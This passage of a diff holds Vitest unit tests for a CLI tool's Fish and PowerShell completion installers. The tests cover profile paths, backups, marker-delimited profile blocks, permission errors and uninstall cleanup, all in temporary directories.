|
||||
|
||||
// Update with different content
|
||||
const updatedScript = `# Fish completion script for OpenSpec CLI
|
||||
function __fish_openspec_new
|
||||
echo "updated"
|
||||
end
|
||||
|
||||
complete -c openspec -a 'init' -d 'Initialize OpenSpec'
|
||||
complete -c openspec -a 'validate' -d 'Validate specs'
|
||||
`;
|
||||
|
||||
const result = await installer.install(updatedScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toContain('updated successfully');
|
||||
expect(result.backupPath).toBeDefined();
|
||||
expect(result.backupPath).toMatch(/\.backup-\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}/);
|
||||
});
|
||||
|
||||
it('should create backup when updating existing installation', async () => {
|
||||
const originalScript = mockCompletionScript;
|
||||
await installer.install(originalScript);
|
||||
|
||||
const updatedScript = originalScript + '\n# Updated version';
|
||||
const result = await installer.install(updatedScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.backupPath).toBeDefined();
|
||||
|
||||
// Verify backup contains original content
|
||||
const backupContent = await fs.readFile(result.backupPath!, 'utf-8');
|
||||
expect(backupContent).toBe(originalScript);
|
||||
|
||||
// Verify current file has updated content
|
||||
const targetPath = path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish');
|
||||
const currentContent = await fs.readFile(targetPath, 'utf-8');
|
||||
expect(currentContent).toBe(updatedScript);
|
||||
});
|
||||
|
||||
it('should include backup path in message when updating', async () => {
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const updatedScript = mockCompletionScript + '\n# Updated';
|
||||
const result = await installer.install(updatedScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toBe('Completion script updated successfully (previous version backed up)');
|
||||
expect(result.backupPath).toBeDefined();
|
||||
});
|
||||
|
||||
it('should handle installation with paths containing spaces', async () => {
|
||||
const spacedHomeDir = path.join(os.tmpdir(), `openspec fish test ${randomUUID()}`);
|
||||
await fs.mkdir(spacedHomeDir, { recursive: true });
|
||||
|
||||
const spacedInstaller = new FishInstaller(spacedHomeDir);
|
||||
const result = await spacedInstaller.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.installedPath).toContain('openspec fish test');
|
||||
|
||||
// Cleanup
|
||||
await fs.rm(spacedHomeDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
// Skip on Windows: fs.chmod() on directories doesn't restrict write access on Windows
|
||||
// Windows uses ACLs which Node.js chmod doesn't control
|
||||
it.skipIf(process.platform === 'win32')('should return failure on permission error', async () => {
|
||||
// Create a read-only directory to simulate permission error
|
||||
const restrictedDir = path.join(testHomeDir, '.config', 'fish', 'completions');
|
||||
await fs.mkdir(restrictedDir, { recursive: true });
|
||||
await fs.chmod(restrictedDir, 0o444); // Read-only
|
||||
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
// Cleanup - restore permissions before asserting
|
||||
await fs.chmod(restrictedDir, 0o755);
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.message).toContain('Failed to install completion script');
|
||||
});
|
||||
|
||||
it('should provide appropriate instructions for Fish', async () => {
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.instructions).toBeDefined();
|
||||
expect(result.instructions).toHaveLength(2);
|
||||
expect(result.instructions![0]).toContain('~/.config/fish/completions/');
|
||||
expect(result.instructions![1]).toContain('no shell restart needed');
|
||||
});
|
||||
|
||||
it('should handle empty completion script', async () => {
|
||||
const result = await installer.install('');
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
const targetPath = path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish');
|
||||
const content = await fs.readFile(targetPath, 'utf-8');
|
||||
expect(content).toBe('');
|
||||
});
|
||||
|
||||
it('should handle completion script with special characters', async () => {
|
||||
const specialScript = `# Fish completion script with special chars: ' " \` $ \\
|
||||
function __fish_openspec
|
||||
echo "test's \\"quoted\\" text"
|
||||
end
|
||||
`;
|
||||
|
||||
const result = await installer.install(specialScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
const targetPath = path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish');
|
||||
const content = await fs.readFile(targetPath, 'utf-8');
|
||||
expect(content).toBe(specialScript);
|
||||
});
|
||||
});
|
||||
|
||||
describe('uninstall', () => {
|
||||
const mockCompletionScript = `# Fish completion script
|
||||
complete -c openspec -a 'init'
|
||||
`;
|
||||
|
||||
it('should successfully uninstall when completion script exists', async () => {
|
||||
// First install
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
// Then uninstall
|
||||
const result = await installer.uninstall();
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toBe('Completion script uninstalled successfully');
|
||||
});
|
||||
|
||||
it('should remove the completion file', async () => {
|
||||
await installer.install(mockCompletionScript);
|
||||
const targetPath = path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish');
|
||||
|
||||
await installer.uninstall();
|
||||
|
||||
const fileExists = await fs.access(targetPath).then(() => true).catch(() => false);
|
||||
expect(fileExists).toBe(false);
|
||||
});
|
||||
|
||||
it('should return failure when completion script is not installed', async () => {
|
||||
const result = await installer.uninstall();
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.message).toBe('Completion script is not installed');
|
||||
});
|
||||
|
||||
it('should accept yes option parameter', async () => {
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const result = await installer.uninstall({ yes: true });
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toBe('Completion script uninstalled successfully');
|
||||
});
|
||||
|
||||
// Skip on Windows: fs.chmod() on directories doesn't restrict write access on Windows
|
||||
// Windows uses ACLs which Node.js chmod doesn't control
|
||||
it.skipIf(process.platform === 'win32')('should return failure on permission error', async () => {
|
||||
await installer.install(mockCompletionScript);
|
||||
const targetPath = path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish');
|
||||
const parentDir = path.dirname(targetPath);
|
||||
|
||||
// Make parent directory read-only to simulate permission error
|
||||
await fs.chmod(parentDir, 0o444);
|
||||
const result = await installer.uninstall();
|
||||
|
||||
// Restore permissions for cleanup
|
||||
await fs.chmod(parentDir, 0o755);
|
||||
|
||||
// On some systems, the access check fails with permission error
|
||||
// which returns "not installed" rather than "failed to uninstall"
|
||||
expect(result.success).toBe(false);
|
||||
expect(
|
||||
result.message === 'Completion script is not installed' ||
|
||||
result.message.includes('Failed to uninstall completion script')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('should handle uninstall when parent directory does not exist', async () => {
|
||||
// Don't install anything, so directory doesn't exist
|
||||
const result = await installer.uninstall();
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.message).toBe('Completion script is not installed');
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
@@ -0,0 +1,657 @@
|
||||
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
|
||||
import { PowerShellInstaller } from '../../../../src/core/completions/installers/powershell-installer.js';
|
||||
import { promises as fs } from 'fs';
|
||||
import path from 'path';
|
||||
import os from 'os';
|
||||
import { randomUUID } from 'crypto';
|
||||
|
||||
describe('PowerShellInstaller', () => {
|
||||
let testHomeDir: string;
|
||||
let installer: PowerShellInstaller;
|
||||
let originalPlatform: NodeJS.Platform;
|
||||
let originalEnv: NodeJS.ProcessEnv;
|
||||
|
||||
beforeEach(async () => {
|
||||
testHomeDir = path.join(os.tmpdir(), `openspec-powershell-test-${randomUUID()}`);
|
||||
await fs.mkdir(testHomeDir, { recursive: true });
|
||||
installer = new PowerShellInstaller(testHomeDir);
|
||||
originalPlatform = process.platform;
|
||||
originalEnv = { ...process.env };
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await fs.rm(testHomeDir, { recursive: true, force: true });
|
||||
// Restore platform and environment
|
||||
Object.defineProperty(process, 'platform', {
|
||||
value: originalPlatform,
|
||||
});
|
||||
process.env = originalEnv;
|
||||
});
|
||||
|
||||
describe('getProfilePath', () => {
|
||||
it('should prefer PROFILE environment variable when set', () => {
|
||||
process.env.PROFILE = '/custom/profile/path.ps1';
|
||||
const result = installer.getProfilePath();
|
||||
expect(result).toBe('/custom/profile/path.ps1');
|
||||
});
|
||||
|
||||
it('should return Windows default path when on win32 platform', () => {
|
||||
delete process.env.PROFILE;
|
||||
Object.defineProperty(process, 'platform', {
|
||||
value: 'win32',
|
||||
});
|
||||
|
||||
const result = installer.getProfilePath();
|
||||
expect(result).toBe(path.join(testHomeDir, 'Documents', 'PowerShell', 'Microsoft.PowerShell_profile.ps1'));
|
||||
});
|
||||
|
||||
it('should return Unix default path when on darwin platform', () => {
|
||||
delete process.env.PROFILE;
|
||||
Object.defineProperty(process, 'platform', {
|
||||
value: 'darwin',
|
||||
});
|
||||
|
||||
const result = installer.getProfilePath();
|
||||
expect(result).toBe(path.join(testHomeDir, '.config', 'powershell', 'Microsoft.PowerShell_profile.ps1'));
|
||||
});
|
||||
|
||||
it('should return Unix default path when on linux platform', () => {
|
||||
delete process.env.PROFILE;
|
||||
Object.defineProperty(process, 'platform', {
|
||||
value: 'linux',
|
||||
});
|
||||
|
||||
const result = installer.getProfilePath();
|
||||
expect(result).toBe(path.join(testHomeDir, '.config', 'powershell', 'Microsoft.PowerShell_profile.ps1'));
|
||||
});
|
||||
});
|
||||
|
||||
describe('getInstallationPath', () => {
|
||||
it('should return path relative to profile directory', () => {
|
||||
delete process.env.PROFILE;
|
||||
Object.defineProperty(process, 'platform', {
|
||||
value: 'darwin',
|
||||
});
|
||||
|
||||
const result = installer.getInstallationPath();
|
||||
expect(result).toBe(path.join(testHomeDir, '.config', 'powershell', 'OpenSpecCompletion.ps1'));
|
||||
});
|
||||
|
||||
it('should work with custom PROFILE environment variable', () => {
|
||||
process.env.PROFILE = path.join(testHomeDir, 'custom', 'profile.ps1');
|
||||
const result = installer.getInstallationPath();
|
||||
expect(result).toBe(path.join(testHomeDir, 'custom', 'OpenSpecCompletion.ps1'));
|
||||
});
|
||||
|
||||
it('should return Windows path when on Windows platform', () => {
|
||||
delete process.env.PROFILE;
|
||||
Object.defineProperty(process, 'platform', {
|
||||
value: 'win32',
|
||||
});
|
||||
|
||||
const result = installer.getInstallationPath();
|
||||
expect(result).toBe(path.join(testHomeDir, 'Documents', 'PowerShell', 'OpenSpecCompletion.ps1'));
|
||||
});
|
||||
});
|
||||
|
||||
describe('backupExistingFile', () => {
|
||||
it('should return undefined when file does not exist', async () => {
|
||||
const nonExistentPath = path.join(testHomeDir, 'does-not-exist.ps1');
|
||||
const backupPath = await installer.backupExistingFile(nonExistentPath);
|
||||
expect(backupPath).toBeUndefined();
|
||||
});
|
||||
|
||||
it('should create backup with timestamp in filename', async () => {
|
||||
const filePath = path.join(testHomeDir, 'test.ps1');
|
||||
await fs.writeFile(filePath, 'test content');
|
||||
|
||||
const backupPath = await installer.backupExistingFile(filePath);
|
||||
|
||||
expect(backupPath).toBeDefined();
|
||||
expect(backupPath).toMatch(/\.backup-\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}/);
|
||||
});
|
||||
|
||||
it('should copy file content to backup', async () => {
|
||||
const filePath = path.join(testHomeDir, 'test.ps1');
|
||||
const originalContent = '# Original PowerShell completion script\n$completer = {}';
|
||||
await fs.writeFile(filePath, originalContent);
|
||||
|
||||
const backupPath = await installer.backupExistingFile(filePath);
|
||||
|
||||
expect(backupPath).toBeDefined();
|
||||
const backupContent = await fs.readFile(backupPath!, 'utf-8');
|
||||
expect(backupContent).toBe(originalContent);
|
||||
});
|
||||
|
||||
it('should create backup next to original file', async () => {
|
||||
const filePath = path.join(testHomeDir, 'subdir', 'test.ps1');
|
||||
await fs.mkdir(path.dirname(filePath), { recursive: true });
|
||||
await fs.writeFile(filePath, 'content');
|
||||
|
||||
const backupPath = await installer.backupExistingFile(filePath);
|
||||
|
||||
expect(backupPath).toBeDefined();
|
||||
expect(path.dirname(backupPath!)).toBe(path.dirname(filePath));
|
||||
});
|
||||
});
|
||||
|
||||
describe('configureProfile', () => {
|
||||
const mockScriptPath = '/path/to/OpenSpecCompletion.ps1';
|
||||
|
||||
// Note: OPENSPEC_NO_AUTO_CONFIG check is now handled in the install() method,
|
||||
// not in configureProfile() itself
|
||||
|
||||
it('should create profile with markers when file does not exist', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const profilePath = installer.getProfilePath();
|
||||
|
||||
const result = await installer.configureProfile(mockScriptPath);
|
||||
|
||||
expect(result).toBe(true);
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(content).toContain('# OPENSPEC:START');
|
||||
expect(content).toContain('# OPENSPEC:END');
|
||||
expect(content).toContain(`. "${mockScriptPath}"`);
|
||||
});
|
||||
|
||||
it('should prepend markers and config when file exists without markers', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
await fs.writeFile(profilePath, '# My custom PowerShell config\nWrite-Host "Hello"');
|
||||
|
||||
const result = await installer.configureProfile(mockScriptPath);
|
||||
|
||||
expect(result).toBe(true);
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(content).toContain('# OPENSPEC:START');
|
||||
expect(content).toContain('# OPENSPEC:END');
|
||||
expect(content).toContain(mockScriptPath);
|
||||
expect(content).toContain('# My custom PowerShell config');
|
||||
expect(content).toContain('Write-Host "Hello"');
|
||||
});
|
||||
|
||||
// Skip on Windows: Windows has dual profile paths (PowerShell Core + Windows PowerShell 5.1),
|
||||
// so even if one profile is already configured, the second one will be configured and return true
|
||||
it.skipIf(process.platform === 'win32')('should skip configuration when script line already exists', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
|
||||
const initialContent = [
|
||||
'# OPENSPEC:START - OpenSpec completion (managed block, do not edit manually)',
|
||||
`. "${mockScriptPath}"`,
|
||||
'# OPENSPEC:END',
|
||||
'',
|
||||
'# My custom config',
|
||||
'Write-Host "Custom"',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(profilePath, initialContent);
|
||||
|
||||
const result = await installer.configureProfile(mockScriptPath);
|
||||
|
||||
// Should return false because already configured (anyConfigured = false)
|
||||
expect(result).toBe(false);
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
// Content should be unchanged
|
||||
expect(content).toBe(initialContent);
|
||||
});
|
||||
|
||||
it('should preserve user content outside markers', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
|
||||
const initialContent = [
|
||||
'# User config before',
|
||||
'Set-Variable -Name "test" -Value "before"',
|
||||
'',
|
||||
'# OPENSPEC:START',
|
||||
'# Old config',
|
||||
'# OPENSPEC:END',
|
||||
'',
|
||||
'# User config after',
|
||||
'Set-Variable -Name "test" -Value "after"',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(profilePath, initialContent);
|
||||
|
||||
const result = await installer.configureProfile(mockScriptPath);
|
||||
|
||||
expect(result).toBe(true);
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(content).toContain('# User config before');
|
||||
expect(content).toContain('Set-Variable -Name "test" -Value "before"');
|
||||
expect(content).toContain('# User config after');
|
||||
expect(content).toContain('Set-Variable -Name "test" -Value "after"');
|
||||
});
|
||||
|
||||
it('should generate correct PowerShell syntax in config', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const profilePath = installer.getProfilePath();
|
||||
|
||||
await installer.configureProfile(mockScriptPath);
|
||||
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(content).toContain('# OPENSPEC:START');
|
||||
expect(content).toContain(`. "${mockScriptPath}"`);
|
||||
expect(content).toContain('# OPENSPEC:END');
|
||||
});
|
||||
|
||||
// Skip on Windows: fs.chmod() doesn't reliably restrict write access on Windows
|
||||
// (admin users can bypass read-only attribute, and CI runners often have elevated privileges)
|
||||
it.skipIf(process.platform === 'win32')('should return false on write permission error', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
await fs.writeFile(profilePath, '# Test');
|
||||
|
||||
// Make file read-only
|
||||
await fs.chmod(profilePath, 0o444);
|
||||
|
||||
const result = await installer.configureProfile(mockScriptPath);
|
||||
|
||||
// Restore permissions for cleanup
|
||||
await fs.chmod(profilePath, 0o644);
|
||||
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('removeProfileConfig', () => {
|
||||
it('should return false when profile does not exist', async () => {
|
||||
const result = await installer.removeProfileConfig();
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it('should return false when profile exists but has no markers', async () => {
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
await fs.writeFile(profilePath, '# My custom config\nWrite-Host "Hello"');
|
||||
|
||||
const result = await installer.removeProfileConfig();
|
||||
|
||||
expect(result).toBe(false);
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(content).toBe('# My custom config\nWrite-Host "Hello"');
|
||||
});
|
||||
|
||||
it('should remove content between markers', async () => {
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
|
||||
const initialContent = [
|
||||
'# OPENSPEC:START',
|
||||
'# OpenSpec completions',
|
||||
'if (Test-Path "/path") {',
|
||||
' . "/path"',
|
||||
'}',
|
||||
'# OPENSPEC:END',
|
||||
'',
|
||||
'# My config',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(profilePath, initialContent);
|
||||
|
||||
const result = await installer.removeProfileConfig();
|
||||
|
||||
expect(result).toBe(true);
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(content).not.toContain('# OPENSPEC:START');
|
||||
expect(content).not.toContain('# OPENSPEC:END');
|
||||
expect(content).not.toContain('# OpenSpec completions');
|
||||
expect(content).toContain('# My config');
|
||||
});
|
||||
|
||||
it('should remove trailing empty lines after removal', async () => {
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
|
||||
const initialContent = [
|
||||
'# User config',
|
||||
'# OPENSPEC:START',
|
||||
'# Config',
|
||||
'# OPENSPEC:END',
|
||||
'',
|
||||
'',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(profilePath, initialContent);
|
||||
|
||||
const result = await installer.removeProfileConfig();
|
||||
|
||||
expect(result).toBe(true);
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(content).toBe('# User config\n');
|
||||
});
|
||||
|
||||
it('should preserve user content outside markers', async () => {
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
|
||||
const initialContent = [
|
||||
'# Before',
|
||||
'# OPENSPEC:START',
|
||||
'# OpenSpec',
|
||||
'# OPENSPEC:END',
|
||||
'# After',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(profilePath, initialContent);
|
||||
|
||||
const result = await installer.removeProfileConfig();
|
||||
|
||||
expect(result).toBe(true);
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(content).toContain('# Before');
|
||||
expect(content).toContain('# After');
|
||||
});
|
||||
|
||||
it('should return false on invalid marker placement', async () => {
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
|
||||
const initialContent = [
|
||||
'# OPENSPEC:END',
|
||||
'# Config',
|
||||
'# OPENSPEC:START',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(profilePath, initialContent);
|
||||
|
||||
const result = await installer.removeProfileConfig();
|
||||
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('install', () => {
|
||||
const mockCompletionScript = `# PowerShell completion script for OpenSpec
|
||||
$openspecCompleter = {
|
||||
param($wordToComplete, $commandAst, $cursorPosition)
|
||||
# Completion logic here
|
||||
}
|
||||
Register-ArgumentCompleter -CommandName openspec -ScriptBlock $openspecCompleter
|
||||
`;
|
||||
|
||||
it('should install completion script for the first time', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toContain('installed');
|
||||
expect(result.installedPath).toContain('OpenSpecCompletion.ps1');
|
||||
expect(result.backupPath).toBeUndefined();
|
||||
});
|
||||
|
||||
it('should create parent directories if they do not exist', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
const targetPath = installer.getInstallationPath();
|
||||
const fileExists = await fs.access(targetPath).then(() => true).catch(() => false);
|
||||
expect(fileExists).toBe(true);
|
||||
});
|
||||
|
||||
it('should write completion script content correctly', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const targetPath = installer.getInstallationPath();
|
||||
const content = await fs.readFile(targetPath, 'utf-8');
|
||||
expect(content).toBe(mockCompletionScript);
|
||||
});
|
||||
|
||||
it('should detect when already installed with same content', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toBe('Completion script is already installed (up to date)');
|
||||
expect(result.backupPath).toBeUndefined();
|
||||
});
|
||||
|
||||
it('should update when content is different', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const updatedScript = mockCompletionScript + '\n# Updated version';
|
||||
const result = await installer.install(updatedScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toContain('updated successfully');
|
||||
expect(result.backupPath).toBeDefined();
|
||||
});
|
||||
|
||||
it('should create backup when updating existing installation', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const updatedScript = mockCompletionScript + '\n# Updated';
|
||||
const result = await installer.install(updatedScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.backupPath).toBeDefined();
|
||||
|
||||
// Verify backup contains original content
|
||||
const backupContent = await fs.readFile(result.backupPath!, 'utf-8');
|
||||
expect(backupContent).toBe(mockCompletionScript);
|
||||
});
|
||||
|
||||
it('should configure PowerShell profile when not disabled', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.profileConfigured).toBe(true);
|
||||
expect(result.message).toContain('profile configured');
|
||||
expect(result.instructions).toBeUndefined();
|
||||
});
|
||||
|
||||
// Note: OPENSPEC_NO_AUTO_CONFIG support was removed from PowerShell installer
|
||||
// Profile is now always auto-configured if possible
|
||||
|
||||
// Skip on Windows: fs.chmod() doesn't reliably restrict write access on Windows
|
||||
// (admin users can bypass read-only attribute, and CI runners often have elevated privileges)
|
||||
it.skipIf(process.platform === 'win32')('should provide instructions when profile cannot be configured', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
// Make profile directory read-only to prevent configuration
|
||||
const profilePath = installer.getProfilePath();
|
||||
await fs.mkdir(path.dirname(profilePath), { recursive: true });
|
||||
await fs.writeFile(profilePath, '# Test');
|
||||
await fs.chmod(profilePath, 0o444);
|
||||
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
// Restore permissions
|
||||
await fs.chmod(profilePath, 0o644);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.profileConfigured).toBe(false);
|
||||
expect(result.instructions).toBeDefined();
|
||||
expect(result.instructions!.some(i => i.includes('Test-Path'))).toBe(true);
|
||||
});
|
||||
|
||||
it('should include backup path in message when updating', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const updatedScript = mockCompletionScript + '\n# Updated';
|
||||
const result = await installer.install(updatedScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toContain('backed up');
|
||||
expect(result.backupPath).toBeDefined();
|
||||
});
|
||||
|
||||
it('should handle installation with paths containing spaces', async () => {
|
||||
const spacedHomeDir = path.join(os.tmpdir(), `openspec powershell test ${randomUUID()}`);
|
||||
await fs.mkdir(spacedHomeDir, { recursive: true });
|
||||
|
||||
const spacedInstaller = new PowerShellInstaller(spacedHomeDir);
|
||||
const result = await spacedInstaller.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.installedPath).toContain('openspec powershell test');
|
||||
|
||||
// Cleanup
|
||||
await fs.rm(spacedHomeDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
// Skip on Windows: fs.chmod() on directories doesn't restrict write access on Windows
|
||||
// Windows uses ACLs which Node.js chmod doesn't control
|
||||
it.skipIf(process.platform === 'win32')('should return failure on permission error', async () => {
|
||||
const targetPath = installer.getInstallationPath();
|
||||
const targetDir = path.dirname(targetPath);
|
||||
await fs.mkdir(targetDir, { recursive: true });
|
||||
|
||||
// Make target directory read-only to simulate permission error
|
||||
await fs.chmod(targetDir, 0o444);
|
||||
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
// Restore permissions for cleanup
|
||||
await fs.chmod(targetDir, 0o755);
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.message).toContain('Failed to install completion script');
|
||||
});
|
||||
|
||||
it('should handle empty completion script', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const result = await installer.install('');
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
const targetPath = installer.getInstallationPath();
|
||||
const content = await fs.readFile(targetPath, 'utf-8');
|
||||
expect(content).toBe('');
|
||||
});
|
||||
|
||||
it('should handle completion script with special characters', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
const specialScript = `# PowerShell with special chars: ' " \` $ @\n$test = "value"`;
|
||||
|
||||
const result = await installer.install(specialScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
const targetPath = installer.getInstallationPath();
|
||||
const content = await fs.readFile(targetPath, 'utf-8');
|
||||
expect(content).toBe(specialScript);
|
||||
});
|
||||
});
|
||||
|
||||
describe('uninstall', () => {
|
||||
const mockCompletionScript = `# PowerShell completion script
|
||||
$openspecCompleter = {}
|
||||
Register-ArgumentCompleter -CommandName openspec -ScriptBlock $openspecCompleter
|
||||
`;
|
||||
|
||||
it('should successfully uninstall when completion script exists', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const result = await installer.uninstall();
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toBe('Completion script uninstalled successfully');
|
||||
});
|
||||
|
||||
it('should remove the completion file', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
const targetPath = installer.getInstallationPath();
|
||||
|
||||
await installer.uninstall();
|
||||
|
||||
const fileExists = await fs.access(targetPath).then(() => true).catch(() => false);
|
||||
expect(fileExists).toBe(false);
|
||||
});
|
||||
|
||||
it('should remove profile configuration', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
const profilePath = installer.getProfilePath();
|
||||
|
||||
await installer.uninstall();
|
||||
|
||||
const content = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(content).not.toContain('# OPENSPEC:START');
|
||||
expect(content).not.toContain('# OPENSPEC:END');
|
||||
});
|
||||
|
||||
it('should return failure when completion script is not installed', async () => {
|
||||
const result = await installer.uninstall();
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.message).toBe('Completion script is not installed');
|
||||
});
|
||||
|
||||
it('should accept yes option parameter', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const result = await installer.uninstall({ yes: true });
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toBe('Completion script uninstalled successfully');
|
||||
});
|
||||
|
||||
it('should handle both script and config removal', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const targetPath = installer.getInstallationPath();
|
||||
const profilePath = installer.getProfilePath();
|
||||
|
||||
// Verify both exist
|
||||
const scriptExists = await fs.access(targetPath).then(() => true).catch(() => false);
|
||||
const profileContent = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(scriptExists).toBe(true);
|
||||
expect(profileContent).toContain('# OPENSPEC:START');
|
||||
|
||||
await installer.uninstall();
|
||||
|
||||
// Verify both are removed/cleaned
|
||||
const scriptExistsAfter = await fs.access(targetPath).then(() => true).catch(() => false);
|
||||
